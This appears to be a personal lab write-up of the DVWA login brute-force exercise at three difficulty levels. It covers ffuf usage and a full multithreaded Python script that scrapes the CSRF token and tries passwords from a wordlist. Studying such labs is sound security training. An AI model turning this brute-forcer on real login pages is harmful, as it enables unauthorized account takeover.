This is an exercise in OWASP DVWA on login bruteforcing.
Bruteforce - DVWA
Difficulty: Easy
In this mode, we were presented with a login form;
The form is submitted in a GET request with not CSRF tokens;
This was a piece of cake to bruteforce using ffuf
. All we had to do is get our session cookie for the application since the form is only accessible by logged in users, and filter out the login error message, which is Username and/or password incorrect
;
Difficulty: Medium
We get the same login form, and it’s also submitted in a POST request. The only difference I can see is the delay in response by the server. This will slow down bruteforce attacks. Using ffuf
to bruteforce the login showed some errors, and eventually the whole application appears to hang, even when requesting other pages. However, this delay appears to be tied only to the session cookie I’m using to do the bruteforce because no such delay was observed in another session.
The bruteforce succeded after forcing ffuf
to only use a single thread, which is slow;
Difficulty: High
In this mode, we get a similar login form again, but with a CSRF token;
Altering the CSRF token showed that it’s being validated by the web application;
This means we need to account for this during our bruteforce. Earlier, we [[Initial Access#Making a Bruteforcer | made something similar]] for bruteforcing the main login page of DVWA. |
This time, we are going to do something similar, but a little bit more advance. We will make the program multi-threaded.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/python3
#------------------------------------------------------------------
# A bruteforcer for DVWA's bruteforce challenge 3 (high difficulty)
# Author: https://4g3nt47.github.io
#------------------------------------------------------------------
import os, sys
import requests
import threading
from time import sleep
from queue import Queue
class l3_bruteforcer:
# The class initializer.
def __init__(self, url, cookies, username, wordlist, threads):
self.messages = Queue() # Used to queue outputs by threads.
self.url = url
# Parse the cookie string (e.g "user=someUser; priv=somePriv"), there is probably a better way to do this :)
data = cookies.split("; ")
self.cookies = {}
for line in data:
self.cookies[line.split("=")[0].strip()] = line.split("=")[1].strip()
self.username = username
self.wordlist = wordlist
self.threads = (1 if threads < 1 else threads)
self.abort = False
# Called when starting the bruteforce. Dispatches all threads.
def start(self):
# Load the wordlist into a Queue object
print("[*] Loading wordlist...");
self.words = Queue()
rfo = open(self.wordlist)
while True:
line = rfo.readline()
if not line: break # List exhausted
self.words.put(line.strip())
# Start the threads.
print(f"[*] Starting {self.threads} threads...");
for i in range(self.threads):
t = threading.Thread(target=self.brute)
t.start()
# Loop and print logs.
while self.words.empty() == False and self.abort == False:
sleep(0.1)
while not self.messages.empty():
print(self.messages.get())
# The thread function.
def brute(self):
while not self.abort:
if self.words.empty():
break
password = self.words.get()
# Fetch the token.
sess = requests.Session()
body = sess.get(self.url, cookies=self.cookies).content.decode()
# No need for regular expressions when you can just split and index your way to glory!!!
token = body.split("name='user_token' value='")[1].split("'")[0].strip()
# Attempt to login
self.messages.put(f"[*] Trying {self.username}:{password}")
body = sess.get(self.url + f"?username={self.username}&password={password}&user_token={token}&Login=Login", cookies=self.cookies).content.decode()
if not "Username and/or password incorrect" in body: # Login successful???
self.messages.put(f"[+] Authentiation successful: {self.username}:{password}")
self.abort = True # Signals other threads to quit.
break
if __name__ == '__main__':
if len(sys.argv) < 6:
print(f"[-] Usage: {sys.argv[0]} <url> <cookie> <username> <wordlist> <threads>")
exit(1)
bruteforcer = l3_bruteforcer(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4], int(sys.argv[5]))
bruteforcer.start()
Testing this with number of threads set to 1
worked;
Setting the value of threads to more than 1
however, gave a false positive;
Running the requests through a proxy, the threading appears to be messing up the CSRF token validation;
This is likely because the token is tied to the session of a user, so by the time a token is issued for a request in one thread, other tokens issued to other threads will be invalidated. This makes the multi-threading feature added to the code completely useless :(